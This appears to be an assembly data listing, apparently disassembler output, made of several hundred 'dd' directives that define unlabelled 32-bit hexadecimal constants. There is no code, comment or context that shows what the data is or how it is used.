dd 4E947713h, 95BDCB5Bh, 0CB71AEF9h, 0DE005835h, 0FA554E83h
dd 0AF9BA6EDh, 2D21E725h, 1A3D0F9Fh, 0AF29A056h, 80342E99h
dd 4E9C80CAh, 69731878h, 0C3E70645h, 2E11DF6Fh, 0D34CBDh
dd 0EAF171D4h, 60153B8Ch, 0B35FE9EEh, 99325C16h, 210D9FFFh
dd 921CF159h, 75BDC373h, 0AF9D0FC6h, 90CE2181h, 767AD476h
dd 1F16B67Bh, 9B50E1F1h, 87BA8EEEh, 0FEF1D238h, 32042292h
dd 56E77C41h, 884C6E9Ah, 299D10Ch, 48C71B74h, 0B543CDDAh
dd 0DB3FCBC4h, 251FF774h, 0A2F58740h, 0B1466462h, 33DEE932h
dd 5E5E6CBCh, 4E4E4132h, 7B4D77B0h, 5C05F115h, 0BF03940Eh
dd 27F116F3h, 54E4D21Ch, 0F445766Ah, 0FD320780h, 753D822Ch
dd 63DC70D2h, 0BD7D990Bh, 6EDA7C6Ch, 887AE9DFh, 6B14399h
dd 0F787B406h, 1768FF97h, 53E38EA8h, 1FDDEE90h, 6DEE8687h
dd 0F1CEC21Fh, 1A525059h, 0A2269442h, 62F91EE6h, 3295A00h
dd 0DE22D6FFh, 412999E4h, 4D3AC05Ch, 50938DDh, 0E7E0DE22h
dd 531746F9h, 0B860F7F9h, 68CD1935h, 100C705Dh, 3080EA41h
dd 0FB084D30h, 692587ECh, 483A5C2Ch, 0B7E2BCCAh, 0CCCDD614h
dd 4E69432Bh, 0CCBFEDE0h, 6ADEE981h, 8379A2F9h, 66B3C83Ah
dd 74BB18D5h, 0F2B05BCDh, 0D85E18A8h, 2B4C83B5h, 2266F855h
dd 58412E31h, 44B47E49h, 15C42944h, 8CE104CDh, 0AD932839h
dd 16D8315h, 75735B99h, 0D56FC64Eh, 22ABE7F9h, 4BBF674Dh
dd 0FFFD6381h, 6B78F55h, 69CC2160h, 0D2446273h, 204C0F7Dh
dd 0F429FBFDh, 0A9111F6Ah, 24D46C6Ah, 9A41EFE0h, 9384F468h
dd 0D6353A8Dh, 284B6BF7h, 318147A3h, 0C64104Ah, 0D223D0E0h
dd 56FA54D2h, 0E6FEF09Ch, 929ABC32h, 91AA8515h, 0F69951AEh
dd 50E0C1D7h, 77AC57h, 730AFDD1h, 9EB92550h, 2F36CD6Ah
dd 0D1F5092Dh, 0B6A14BCDh, 0DCC53BDFh, 23397B4Bh, 0CD2F0102h
dd 6A74E8E6h, 0C7622349h, 9E201698h, 0C8A841CAh, 331CBB59h
dd 3DC6FD48h, 358A9061h, 9A0FF6D9h, 34C86628h, 8ECCD654h
dd 415CA871h, 0A5E335B0h, 0D7606A4h, 80F68913h, 543DAA23h
dd 0C0F7329Ch, 0F1D27FD9h, 0D7C72A45h, 0B5A9E1DBh, 0ECD76F16h
dd 6D3435BCh, 0FE92259Fh, 63E037BDh, 63AC4B9Ch, 35D2A89Ch
dd 0BDB1F10Fh, 171C7EB7h, 3BAEBAA7h, 60B067EAh, 34BD2A87h
dd 4F02AD52h, 0F950B898h, 61001457h, 990D1EEDh, 365DDFB8h
dd 0E2A4B84Ch, 0FF30A805h, 0FDE424E1h, 5DBB2D20h, 0EE0687Fh
dd 393C539Fh, 842003AAh, 0F4B9B001h, 57E00441h, 2FCEFA92h
dd 186995B2h, 0C23E0365h, 7B624A09h, 2A1C051Ah, 0E55F4843h
dd 5D415FCEh, 41F9BC26h, 0CF88F331h, 0C5F13EA0h, 0A9673978h
dd 0AD1428E6h, 66529821h, 6BE707A7h, 9CF7631Bh, 657EFC98h
dd 49D52A01h, 96B5A424h, 595BD6FFh, 8C91B339h, 1C90CCC0h
dd 37432F7Dh, 0DA7F5A76h, 0A69C53EDh, 7461B00Ch, 456A9231h
dd 5BE65C14h, 6E2140F3h, 43AA5850h, 8E198863h, 3579B34Eh
dd 0A7B4AA78h, 6DA583FEh, 6D44A84Fh, 0C60C10C1h, 0D575751Fh
dd 5475F1D4h, 0B43131ACh, 4BAC339Eh, 37C6B967h, 0BE9A98BFh
dd 61DAC76Bh, 1048B837h, 2D99523Ch, 92AAC663h, 75993702h
dd 20CC8D7Eh, 6CAAAC6Eh, 214E944Fh, 0C0DE7752h, 9BD3072Bh
dd 6227F340h, 0D0D27204h, 0B937D124h, 0A9FA6FC6h, 920B7A18h
dd 75A57CAEh, 40F683BFh, 98D7CDEDh, 949C1BC4h, 0F4F5BB90h
dd 8FC2822Dh, 12DDDDF8h, 61EF891Ch, 0FB39EAA4h, 4627644h
dd 0EB583A39h, 125D34D3h, 0D1996490h, 3E771093h, 96ABBC87h
dd 7D3FDC04h, 6ABABD8Dh, 4D42349Fh, 45327CA8h, 0CA07C673h
dd 9E787884h, 8E19FB0Eh, 0DB6F20D6h, 0E6C86173h, 64A8A34h
dd 0F71F3173h, 8F00CBFAh, 5659FA17h, 65DE57Ah, 0CAE496C8h
dd 0A8B825F3h, 0FA58ACF5h, 1251926Fh, 0ED89C50Eh, 0FFBB8DE9h
dd 0C6E8AEBEh, 5349A308h, 6BDCCA40h, 9B1B2713h, 0F5ECE391h
dd 0BB5B289h, 4A00565Fh, 57BB48F4h, 0E48DED05h, 32EDF65Fh
dd 0FEFB2333h, 16604124h, 0A826A33Bh, 0B011D43Eh, 1568D4D7h
dd 0EEAD467Bh, 497656A6h, 0F93BD813h, 7C0295FCh, 79567D8Ch
dd 1BE8268Ch, 4C16840h, 14078CC5h, 0C7452FDFh, 0D66E7E21h
dd 8883A6Fh, 10F598E4h, 211AC54h, 0F9C0FEDFh, 0DAD2482Ah
dd 4C1AFA7Ah, 0FA28EA83h, 0C01DB7CFh, 764F3DD4h, 0FE316666h
dd 2852264Fh, 4A16EED6h, 8EBDDFD4h, 3103EC0Ch, 4A1496E4h
dd 2AD0F72Dh, 0B534D6A7h, 0D86A26ABh, 60DDC4E0h, 0FB188A49h
dd 6D213BC8h, 0B2BA0F1Bh, 845BF666h, 0A5140E9Ch, 0AE485A94h
dd 22E40FC8h, 42D33CF9h, 2E254DBFh, 0B22D66E1h, 0A896EF79h
dd 1BE8FD1Ch, 0E52C6CD4h, 8A79B68Dh, 6EEB25AFh, 0A21243D7h
dd 9BABE1FFh, 6D981D77h, 0A6EFB2FDh, 980C1C85h, 0DCCAFEFBh
dd 1F6426CCh, 0E6C3CE1Ch, 796FF660h, 2921721Eh, 40E5FFFh
dd 0E94CB8E1h, 81A5ACAEh, 814EB125h, 0CBB26856h, 0FD822C70h
dd 0F49AE12Fh, 85F2D732h, 97248DE3h, 49D779CAh, 9A580C07h
dd 0E9F63F2Ah, 0BC570819h, 1EB3E554h, 8E611505h, 0DF07B73Ch
dd 5D59D103h, 0A79EA43Ah, 1DD96416h, 0D6F3E262h, 0B825C427h
dd 629DDFD5h, 4AF59328h, 3B4B9878h, 0C9BDFD7Fh, 0AF643C79h
dd 6A8F3E42h, 9D921EE5h, 2CA2A841h, 6AF9B209h, 0CD7BB5A9h
dd 418EDDA5h, 9674CD3Ah, 3B206AA8h, 711ADF35h, 85749199h
dd 0A5868648h, 0D7663E78h, 4EBB5840h, 951A88D0h, 64913D3Ah
dd 0DF6E7E37h, 512658CBh, 3BBCBCD3h, 7DC588ABh, 960FADECh
dd 5257B9E6h, 0E45F6284h, 483B7368h, 3E9D1545h, 5E2542AFh
dd 454BDE6Bh, 0B7C50AC1h, 6059A876h, 0F067BF9Fh, 92377335h
dd 0CD4C792Bh, 850EF45Fh, 505BC6D3h, 6C58CF62h, 0EF5647B2h
dd 835C8F68h, 0D49ABA90h, 9C5A8505h, 4924C29Dh, 53A867E3h
dd 2D269155h, 723C9E17h, 40F67CAEh, 3A3226B9h, 0C588D3B8h
dd 0F2C07541h, 0A22E217Dh, 2C6E81AEh, 5C73940Dh, 0DE4C4953h
dd 497B5C2Dh, 3314948Fh, 0F8484910h, 0B5D7B547h, 42B48BADh
dd 0F6B689C6h, 4EDB63C2h, 5F4D0569h, 3B10C056h, 0E2AFC2F2h
dd 0DA3B0493h, 6C58D642h, 603C88EFh, 831ABB06h, 6E18173Ah
dd 76ACACC1h, 0CF7B1319h, 0BDF466B3h, 3AE80BEFh, 0CBCD3CFh
dd 0B057C665h, 4E652477h, 0A176A6A7h, 980E39D3h, 8954005Fh
dd 0FF988650h, 0D052E796h, 0F1655BC4h, 47142006h, 34106D6Dh
dd 60C32FCBh, 0D4EAD2A1h, 662987E1h, 1C0B7181h, 0C703C51Ch
dd 86DED213h, 0A481A368h, 72A11D6Ah, 0B5719A5h, 0DDDEF773h
dd 0E9A864h, 878F295Ch
dd 7F207846h, 776F0B0Ah, 0DDC5D264h, 0C8A3AD29h, 79747A06h
dd 0EC94D912h, 0C6F1C253h, 7CDA3323h, 7A62E21Fh, 5115C7C1h
dd 0A3269F8h, 359C6B1Ah, 4BF8550Eh, 0A3978B04h, 0CA32A8C6h
dd 0A7D2DE9Fh, 6DB1ABB3h, 36DA494Bh, 0C5F4A824h, 96D20C3Dh
dd 5CE41041h, 93669B66h, 8C99EF4h, 0DCDD5C91h, 72626CB6h
dd 607AA440h, 42410C01h, 825DD81Ah, 0FD118E48h, 4CC02FECh
dd 4DBFACFh, 823D370Fh, 65463083h, 1C2F00D8h, 5FABAEB4h
dd 0EFFA4C09h, 0BBBECC8Dh, 0A2CFE7B1h, 0E8C47B15h, 32BFFD1Ah
dd 9CBFE6FCh, 3047E3A5h, 75808A3Eh, 661408EFh, 9C42EF06h
dd 135C6DABh, 0BC2D44CDh, 797A0E03h, 55480C0Eh, 0C9DA7687h
dd 9E016EA0h, 52335562h, 0F8E26976h, 0CFB7DFE2h, 0DE41D1ABh
dd 0FE05BDF3h, 0C21EF226h, 0BEB0280Fh, 53A75CB2h, 0FCEE5C0Dh
dd 53E121D5h, 22C64BAEh, 602B3D78h, 152E22Dh, 0E7E97CC5h
dd 0B70A074h, 95C6C110h, 57465E9Bh, 6FBC48F7h, 6F45469Eh
dd 503438BAh, 819E484Ch, 3D16C70Eh, 0D45236D2h, 14DD871Fh
dd 0FBBBF459h, 0CED03380h, 944307E9h, 0D6C12AC2h, 0DA6CD7DDh
dd 3421E199h, 34F7B5A8h, 3E8321DDh, 3BDF7D65h, 274B3AB4h
dd 0A77280BCh, 63DFA0F3h, 8D8A5C34h, 0A01A2BE7h, 0EBE9E9ADh
dd 0AE401C90h, 57B340BAh, 59217EF7h, 1BC76793h, 7C9C1B50h
dd 0E818CFC6h, 6F795A07h, 3EC86154h, 9C4D666h, 3629B2EAh
dd 5E1C3248h, 81A56FC0h, 0B406725h, 7C0EF87Ah, 9BC51644h
dd 0CC8A711Ch, 3D96CED9h, 0C2CC1788h, 0BA05C3B1h, 0A842C0B6h
dd 8F72214Fh, 6CF3E4C0h, 0FA643B59h, 0E118FCB1h, 9786BC1Ch
dd 60376192h, 0AE89EE53h, 0FE2B96C5h, 30C576F6h, 0B422A45Fh
dd 88B7FF4Fh, 0D887083Fh, 98A369CCh, 56BC58FBh, 6942D6Ah
dd 8619381Dh, 8C967A38h, 0ED48DCF2h, 0C6094E61h, 0DACC2104h
dd 0DE1BC71Dh, 0B67645ACh, 24032CB0h, 0CEFDFAB4h, 34502B5Bh
dd 5FC14BC9h, 0F82C6C7Bh, 87F31EA2h, 0A5E3D59Bh, 0C453C994h
dd 32C41075h, 0F167C808h, 0CC3B9AF1h, 0AAE41Eh, 6041E71Ch
dd 87BEF5F8h, 0F8DE6FE6h, 0EBA006E5h, 6F2A9F12h, 1FB314F4h
dd 0B7079B8Ah, 0F1CD366Ah, 3CFEC18h, 36583C2Dh, 25764281h
dd 0A29583F4h, 40AECE7Ah, 17E3CCF4h, 2F14C9B1h, 0C3C51FB6h
dd 69A2B08Bh, 71392EC3h, 3C87C653h, 0BC1368C4h, 7AA59AB9h
dd 743F83C3h, 5D136E61h, 0B3122E62h, 0B3D907C8h, 9FD8BCD9h
dd 753E776Bh, 8DA78A32h, 0DFC302D1h, 0C1912063h, 44D46B2Ah
dd 6FB4FCB9h, 0F32D9377h, 0BA7A7A99h, 9A43730Bh, 0D7AD068Bh
dd 0B3B392CAh, 4C08CE9Fh, 972BCAE3h, 8B6AFD6Bh, 0C6A1538h
dd 0B603880h, 582024D3h, 4FDB62DEh, 67F3E30Ch, 31403454h
dd 18F14189h, 0E61D09D7h, 6AA717B5h, 624288A1h, 0EBD69B62h
dd 0B738BA2Ch, 2F9DF344h, 9E0F180h, 0DBA58756h, 5B46267Ah
dd 82781D22h, 7F088FB0h, 0C1DD198Eh, 0EC716D4Ch, 0FB5509F7h
dd 48C134A7h, 2770A39h, 230AB810h, 8A9EBD11h, 0C3EC6BCAh
dd 0F99F09E5h, 49A199D8h, 6852527Dh, 73721AFCh, 56964D39h
dd 0C00AECCBh, 3DCFB640h, 0F29C38A0h, 0AE96BDE4h, 695576ACh
dd 0C5B31536h, 0A06EBF00h, 0FE6FB19h, 0C8CACB70h, 5636974h
dd 88CBF624h, 35A7355Eh, 5C761EB9h, 0ADAFC95Eh, 6CEC533Eh
dd 5D7FB6C1h, 5C62ADECh, 54745A9Eh, 989DC193h, 60361649h
dd 0A5360462h, 85A80230h, 38AB835Fh, 35B8DC5Fh, 769AA113h
dd 3A36579h, 5F28B07Ah, 1ED154BDh, 0D1A123B7h, 0B4A1458h
dd 4FDDBE9Ch, 5159D5B6h, 0D13BDAE4h, 295C6B6Fh, 62D22095h
dd 0CA7C912Ah, 99239C4h, 211584D5h, 4B82B9A9h, 0C91A2ABCh
dd 4B12FA7Eh, 0DE8D8A4Bh, 76583AF2h, 0CFFB126h, 0CFF93732h
dd 8DB00C12h, 0FE08D548h, 0B8C70958h, 78C33A5Fh, 7A82715Dh
dd 41B329E0h, 25B454F9h, 44B828FAh, 5BB8B33Dh, 80D2DCF7h
dd 0FD41CC89h, 32ADEA9Fh, 840CFA9h, 89703F2Bh, 90F8174h
dd 604CDDA2h, 612468C5h, 0B91F036Ah, 2890FBEFh, 7FE02AC9h
dd 98B4A2DBh, 98A53918h, 17737B20h, 0CC4C4B05h, 0E1BA00E6h
dd 4A102363h, 0D2809AD2h, 78A804BFh, 5FB50C2Bh, 0A477D111h
dd 6610E5CCh, 0E4210DB2h, 8AA6D765h, 0E7FF4BBDh, 24A5D3E8h
dd 4E464076h, 0CE3A19Ah, 6D0F8C76h, 2B6C6E24h, 0FAFE4E83h
dd 0BBC3F0AEh, 83031309h, 695C4D3h, 0BAA7754Ah, 47F9C4E8h
dd 8852AF7Eh, 9B478071h, 0D8C90D8Eh, 0EC244956h, 0E028D839h
dd 1343CE0Fh, 0A1002275h, 37180F48h, 73A1B992h, 724C4C1Dh
dd 29E8FD57h, 82CAF385h, 8B81A939h, 9FD8BDD3h, 0D71EEF56h
dd 33DE48D1h, 796C0E4Ah, 0D5F57DCh, 9495EE04h, 0A2FB8FA7h
dd 0C882BCBAh, 95092921h, 0E0D7CEA2h, 0BA7BBD9Ah, 0C3371C03h
dd 0AD50D78Fh, 2A8434CDh, 244DF2EDh, 12B7800Bh, 0E534E17Ch
dd 22397A0Ah, 3EA2BC1Dh, 16B669EFh, 8216A912h, 0C753B66Bh
dd 37215C81h, 5D10F27h, 48C30B84h, 36F56C7Dh, 8421FD92h
dd 9A88E1E2h, 8280E58Eh, 0EA0D9AE5h, 37B40A0Bh, 89091151h
dd 8E55EB97h, 0DCC3C6C2h, 5F161C57h, 469C571Ah, 0C08F5D1Eh
dd 434F6CF8h, 0AFB0ED39h, 0B0805AFDh, 0CB550FE9h, 0E1422BC4h
dd 0DDA5F9A5h, 0C47F827Dh, 2AC2EBDAh, 25B76E1Ah, 1F9EBA32h
dd 0DD82DFF8h, 0E0C7AC35h, 0F5728D68h, 6139E986h, 0ED28842Eh
dd 742B5DF3h, 5636DFA6h, 414EF572h, 0E843F46Ah, 12E7B093h
dd 860BD5E0h, 1284B301h, 0B57907EBh, 0AB2CF05Ch, 0DAC25C16h
dd 934697B2h, 272F5A22h, 0D6607F91h, 71930BD2h, 9E98960Ch
dd 619EC4BBh, 2BB29324h, 6FA7614Bh, 0DC34C901h, 20B979h
dd 0B28429ECh, 4BB93CB1h, 0A80F0596h, 0AD07A1A9h, 0F68B4CB8h
dd 24856470h, 0DBE77531h, 0A6557BBBh, 9B36E130h, 0F62E6772h
dd 47D7F5F1h, 9446490Dh, 313297B6h, 0BECD57D1h, 0EDC8C9B1h
dd 81AD52D5h, 1EF09700h, 0E8B43C7Fh, 0D32D820h, 0F596984Eh
dd 0B6863868h, 0DE91B50h, 404CC466h, 419ECB8h, 47EB5B8Ah
dd 254C45A2h, 417B42EAh, 6864A51Ah, 848B4907h, 0FC9D7694h
dd 980A600h, 4FB0000Eh, 39F8014h, 3A46E587h, 0B04FA493h
dd 76438AB6h, 0A9AC0516h, 0E0E026F0h, 7D57D4E5h, 370BBA5h
dd 7957CFF5h, 0CBAE5269h, 0C573DF1Ah, 47B6F406h, 0EB87A4D7h
dd 0CE3F9ACAh, 9039FABCh, 7DD31875h, 0A6C74134h, 49598274h
dd 0DE12BE89h, 6F3FB09Ch, 0FEA45757h, 866A5648h, 63A24985h
dd 0F442B1A9h, 0EBFAF52h, 3B2A9AF0h, 912397E9h, 44370CE8h
dd 993FA421h, 5F411578h, 3D43C3B0h, 834BCFC0h, 3B3A049Fh
dd 0F6A54B7Dh, 2B16CF4Ch, 60E78111h, 7C0AA888h, 0CAFAE02Ah
dd 51FAD3ABh, 0FD6D7B7Eh, 72B827EAh, 0F784CD0h, 71FE0A72h
dd 0EB2D8D21h, 9EE73A64h, 0EBFBD8C9h, 0C5308440h, 0ADA6EDD3h
dd 0AE25E35Fh, 0D38AEB63h, 0E9B06933h, 0A2186660h, 9D9F98A4h
dd 32D3E58Dh, 17A3EE94h, 10AAD817h, 0E8F55E34h, 0D489A9B6h
dd 6290D09Ah, 0E49B3458h, 0C3187ADAh, 44035159h, 0D15EC507h
dd 0A453DC5Ah, 4C50634h, 3639AEE6h, 4F1D486Bh, 0C4ED1C1Fh
dd 78A9AFE9h, 0E7389CEFh, 0F906D9D4h, 8079DD1Eh, 93C411BEh
dd 350E5E7Eh, 0BD008B59h, 4ABCE07Bh, 6F9F26C5h, 0C7871642h
dd 7E19DCA9h, 281E1D8Eh, 0E0CA3BAAh, 0BC37D7CCh, 0C904514Ah
dd 0D7B1C3F6h, 3802D6A1h, 2D45361h, 648EE670h, 7D36BFC2h
dd 51D61DA9h, 0EC10085Ah
dd 0A092C774h, 0BDF06F9Eh, 0EE6B4B38h, 72172C2Ah, 749DE7C1h
dd 0A63024CBh, 0D8C37D6Ah, 89DC04Dh, 3E00E646h, 0D22BCBF0h
dd 0D0269B3Ch, 7B9F907Fh, 0A0287439h, 0FF3C9E4Bh, 0FEC631AAh
dd 392D19CAh, 1EAC47E9h, 9D3928A9h, 0F15463C8h, 4A3CEAD0h
dd 0D31E08E4h, 0D15F448Fh, 770880F8h, 0AC855EEBh, 927C176h
dd 69021C1Ah, 0EEC8299h, 0ECF20B83h, 87F40BF8h, 1255B21Dh
dd 7F87BDEEh, 6F828921h, 13CE33B6h, 0E04BCC56h, 5ED2CB51h
dd 2FE479E9h, 77B7584Ah, 2CEEC7D8h, 0CFB40A82h, 2D750DE6h
dd 9461166h, 8E07BA38h, 15019111h, 4F20F4D3h, 86A6F389h
dd 772F4EA3h, 0DE68E00Eh, 0FC49FFABh, 9A903B3Bh, 66D4F358h
dd 27F211CDh, 65E38274h, 620E4AECh, 434E3D2Ah, 0F366378Eh
dd 0CB28C4A4h, 0D59EC21Bh, 0D0AF6B4h, 321D0DC2h, 0D1ED43Bh
dd 0B56B06CCh, 0F30AFBC4h, 0DCDA85A6h, 57A35BABh, 0C7BA87C0h
dd 4C33FDD0h, 0A9383185h, 0B3E3B2C8h, 9A2F950Eh, 0AAA76ABBh
dd 0B6C10A7Ah, 58D5E23h, 0D30E132Ah, 6514F929h, 8995CDCEh
dd 0CF7D66A1h, 0A88C8Eh, 3938B278h, 49C88AD8h, 0B7B208DAh
dd 3483FE92h, 0A92B4F9Eh, 760D29BDh, 328F147Ah, 0C7CE21B1h
dd 0E00C1F78h, 0F4C615CCh, 37B19A64h, 907AB824h, 9AF08622h
dd 5852910Dh, 91058E86h, 9DB8EB36h, 6CC88600h, 340993BFh
dd 36F98F2Ah, 262995C0h, 2087E55h, 0E387BE9Eh, 69937C0Eh
dd 90756FBCh, 0FA809258h, 1209593Bh, 21DB99A8h, 0F6EBDEDBh
dd 88C38881h, 6A3A0AEFh, 3E30B6BFh, 935F2A44h, 909A6210h
dd 0ECD77B68h, 0BCE8E4C7h, 0DFB09CDEh, 42D4655Ch, 240F823Bh
dd 61F57DE2h, 92D2A3FBh, 5D858158h, 89F541E2h, 78CFFB00h
dd 0BFDDB630h, 2C646ED3h, 2DCDCDFDh, 2E7FE125h, 0AB65CEB4h
dd 0C1E76574h, 8C4B5F3Bh, 5D10DCA9h, 96253249h, 871F6E4Dh
dd 0E1F93B25h, 4EE5FDBBh, 0A918181Bh, 8BC2F126h, 0CF1CECCBh
dd 81C51002h, 69520F25h, 93DEEDF8h, 0F9A355EFh, 3ACBFF45h
dd 0E738E6B3h, 64C648BCh, 823B180h, 2EB065CBh, 0A0BAAE8h
dd 88CC4AD1h, 995B1479h, 0D84BE5Dh, 0BB387C7Ch, 0EA2F8D4Dh
dd 85FC89C9h, 8135B250h, 2D69B75h, 0CF2C511Bh, 8F91AA12h
dd 3833A743h, 81DDDE35h, 4DCF48Ah, 0CB108B9Fh, 0CA19434Dh
dd 0DDEC8FD4h, 20D603A9h, 151B2921h, 333C8260h, 53E02842h
dd 216ACB8Fh, 0E7B8A3F3h, 52047459h, 76908228h, 741C15ABh
dd 8848A2DEh, 0E7CB1FBCh, 95466E51h, 0F2FEFEF3h, 0ADE2347Ch
dd 0E45D6355h, 39470723h, 4A9C8B03h, 16174786h, 0AA8DC0A5h
dd 88FDD45Eh, 279F85A4h, 40E64793h, 4BDEFC55h, 168EDFDFh
dd 3354AB41h, 0A62255D6h, 6B6B86FEh, 0AD5C3BF2h, 21F20166h
dd 0BFD117FCh, 0B5212BC4h, 475AD999h, 0E59D41A4h, 153727AFh
dd 5A0BCAECh, 707CCCA0h, 9B1773Bh, 0B7D0DE08h, 0B9630720h
dd 0E7A9503Eh, 50A3ABB5h, 30D47684h, 88F979CCh, 657C1377h
dd 1070E768h, 972CE76Eh, 1A622329h, 0E84CFD3Fh, 696734DCh
dd 0CB73660Dh, 4BE6EF91h, 0C6419ACDh, 0BF530345h, 0EEF464F6h
dd 0B4AE19EDh, 0A507B9A4h, 0EA12E9B2h, 204108A0h, 0CA420A10h
dd 4530695h, 0D266804Bh, 8730DE93h, 0D33F00ADh, 0DC436C41h
dd 0AC0A812Ch, 0BAFDE1D8h, 67824C0Fh, 0C5D79752h, 0E0BE482Ah
dd 611B60B9h, 0FAB5620Ah, 9CF9468Fh, 2FD4D1C9h, 11AB940h
dd 1A0D79D4h, 83D60C0h, 0AF8047CBh, 33F5AE25h, 919B6DA3h
dd 78735CDAh, 53C73AFh, 4C9A4482h, 94203CA6h, 440707Eh
dd 0E14FFD1Ah, 25BA0DFEh, 93C16A70h, 9C95FB49h, 13399181h
dd 76595B0Eh, 3D8AFC3Dh, 4DFA4C8Dh, 9EFE46B0h, 6EF1626Bh
dd 229E6EAFh, 97330FBh, 277B5641h, 557F31D6h, 0F0AF6FE2h
dd 0A113BB08h, 0AB2B51ADh, 70D5B330h, 3BA93F16h, 8BB6B41Eh
dd 79793A7Ch, 0D7B02208h, 0DD22067h, 0BBB3D6F0h, 0C736C601h
dd 27034A3Ah, 0AE57CB61h, 0C8729E75h, 4BC5BFD1h, 75245701h
dd 541C7CE8h, 0EC22BC44h, 0B000A0CDh, 0A31249Dh, 1ED0DE70h
dd 51F03B1Bh, 5CAC4C5h, 0EFCCEB21h, 0A1DDEB56h, 25C8D0B5h
dd 0DEBE6E2Ch, 0BA7B1715h, 0EBA6D821h, 0BAEEEC5Fh, 990C3F08h
dd 0EFD74027h, 8B5F5A5Dh, 95F806F8h, 4D4DED52h, 0AB47A832h
dd 7BD88ADBh, 0B1455BBFh, 4A45B5h, 0E55E9A5Ch, 202DC807h
dd 0EB055DF9h, 0F341F5FCh, 3997E683h, 0D43D2D37h, 94D2AE60h
dd 0EACB71B9h, 2FA37E55h, 71A77ECDh, 0DC1F7023h, 3DF4450h
dd 6AE79936h, 0B3A50FEh, 61B74B34h, 0C5FE1C78h, 0D96877CDh
dd 0C4B2B5E2h, 5FB59C18h, 0CF1AC369h, 4621EE92h, 0F9B4DCAAh
dd 7B10DA67h, 4552BA9Bh, 6AC854F5h, 0A366EBBh, 87E79C52h
dd 31D7CC69h, 22F3A3E8h, 0E67ABAD2h, 5D9C1B7Ch, 8F60D7Ah
dd 3B0CF0Ah, 6BB3F753h, 696CDCEDh, 2F1BD863h, 2D045291h
dd 41BBC526h, 7EED66EAh, 389EE86h, 96927220h, 95C821F6h
dd 59059EDAh, 7854643Fh, 78CC11A5h, 7076EE69h, 466E2BE8h
dd 99AEFCBCh, 1B3B26Ah, 0CD853438h, 5D0BDDA2h, 0C9F9B588h
dd 3902CBF3h, 117310F0h, 0B28A70Ah, 7D14CA34h, 560F80C4h
dd 4F16812Bh, 56923C51h, 0CC04E2E2h, 667D1101h, 770173C7h
dd 5ADDE64Dh, 3ABBFCF6h, 0A6B59E6Ch, 0FF8ABAF3h, 5BC6FF9Dh
dd 4E477A85h, 42E56A7Bh, 0F6F4CEA3h, 221E4C81h, 57B8186h
dd 0B1902307h, 0F1256E60h, 2DBB57A4h, 16CD7228h, 77BFF0ECh
dd 3ED54748h, 7C3408BCh, 9AA91959h, 67A5AADDh, 0D92603A4h
dd 9737B895h, 941584Dh, 0A3C96633h, 1282272Bh, 9D980E8Eh
dd 5008CC68h, 86AFA5F4h, 28328C6Bh, 10D1838h, 7394000Ah
dd 14CF6F29h, 0A23C0859h, 5F7B219h, 128B8712h, 30E29E2Dh
dd 813AEDB1h, 951F786Fh, 9C92213Ch, 54507451h, 4BEC8F79h
dd 0EBCAD487h, 6AB08C34h, 0BE6689CFh, 6AECC074h, 6B0C7596h
dd 9FD437BDh, 8D118654h, 0D0A70BFh, 0C843DC6Bh, 0ED129429h
dd 9AFA6822h, 84C434DDh, 0B804E63Ah, 0C035ADEAh, 0A05900B7h
dd 0C5D60D4Dh, 68736300h, 0B1B5C857h, 0A654EE78h, 0F72383CCh
dd 2332F13h, 6A5B18D9h, 83635A71h, 707DFCBh, 859ADE98h
dd 9156D265h, 82F0CC9h, 0B63CF726h, 55CC1BC1h, 0D78A11B6h
dd 0EFBED7AFh, 8113B126h, 0F6C093Ah, 9CF78D96h, 106F8003h
dd 0FBEF8AACh, 471C442Eh, 0AF7DC23Dh, 0CFC39Dh, 4E421877h
dd 472B7E1Dh, 0AF92760h, 7FC49B19h, 462B31Dh, 0DE7FB3F7h
dd 391394EDh, 0AD881D6Bh, 8D17E743h, 0E4564741h, 6015604Ch
dd 1DCC48FAh, 0A4658DEh, 79BD70BFh, 0C810B141h, 394F456Ah
dd 0FBED5E15h, 0A253C994h, 0C711565Dh, 353CCF18h, 0F17FD865h
dd 0F5D01ADEh, 372A8CBh, 13423911h, 770AB3EEh, 0C4A06B7Eh
dd 5171AD3Dh, 3845996Ah, 162CFB97h, 0E94B65B0h, 883F13FCh
dd 0ABB899F5h, 0D88CB810h, 0F80C1EBEh, 0DE68800Fh, 979C4E2Eh
dd 58E72A6Eh, 3AF0BC0Ch, 2E41CAE4h, 980AED07h, 0A5C74FB1h
dd 6447E877h, 0A399539h, 59B2060Dh, 0E156A0FCh, 0EAC5CE83h
dd 6AA6FDC7h, 0C35D9858h, 1FC76CAh, 0FA93EA9Ah, 10180249h
dd 0D766160Fh, 0B8D584D9h, 5E542058h, 0C38761F1h, 0FA861AD8h
dd 0A1EF2E45h, 6919D6A8h, 0FA61C84Ch, 7B78CEA0h, 0BB93E919h
dd 1F1B6E24h, 97D4F2F8h, 3C9B9052h, 8D854F03h, 0BE0ABDCFh
dd 0A6D5D91Eh, 0D2F1EF6Fh, 485004F0h, 6DE88C06h, 0ED5DAFE6h
dd 9528D753h, 0BB02DBBCh
dd 0E339CD0h, 844627CCh, 0A5EE2FE0h, 5B6BDD90h, 4DDD575Ch
dd 49BAFF78h, 2C5889C4h, 0EBBB9ABEh, 6971D9CFh, 0F38C60A4h
dd 8A974E01h, 75B545BEh, 0D0D5C7D8h, 0CAA98EC4h, 0C971C3E1h
dd 0CC3A06E9h, 0B49D340Eh, 0E7D63510h, 5BE7AC16h, 711E67C0h
dd 27C3FE62h, 0AF4927D5h, 2E73A440h, 0D941D799h, 8A30C653h
dd 0BAC4F422h, 0A41951E2h, 0E11BD7B5h, 72B5F044h, 0E4F483BFh
dd 0AF17436Ah, 8CA43E3Bh, 0EB621253h, 0AFD4DDCEh, 92643D0Ch
dd 6C405E06h, 0C0D87A0Ch, 28FBC23Ah, 7C7F949Bh, 1953D9AFh
dd 2514236Eh, 58C8EC5Fh, 743FA6Ch, 0F70E56FEh, 0A13F336Eh
dd 1A26145h, 83BDD568h, 0C8B9E342h, 0EE3AE0B4h, 69A161B7h
dd 0F3DC0069h, 950417C4h, 72C3B096h, 0AC500BADh, 0EB25122Ch
dd 756ABA3h, 4321FAC2h, 8918258Ah, 3F6A5E2Eh, 8782B7AAh
dd 0FF1613CAh, 1F165DC8h, 0B9A37541h, 15B861h, 1823D7E2h
dd 315BABBAh, 269C10Dh, 90859DDAh, 105947A1h, 142FA509h
dd 0E7A342CFh, 602939D2h, 0FE184C11h, 0E74D2BDDh, 3D0A5C4Fh
dd 0EC6BEA1Dh, 0D32F269Ch, 0BCF1EF3Eh, 32ACEC38h, 5CE298F8h
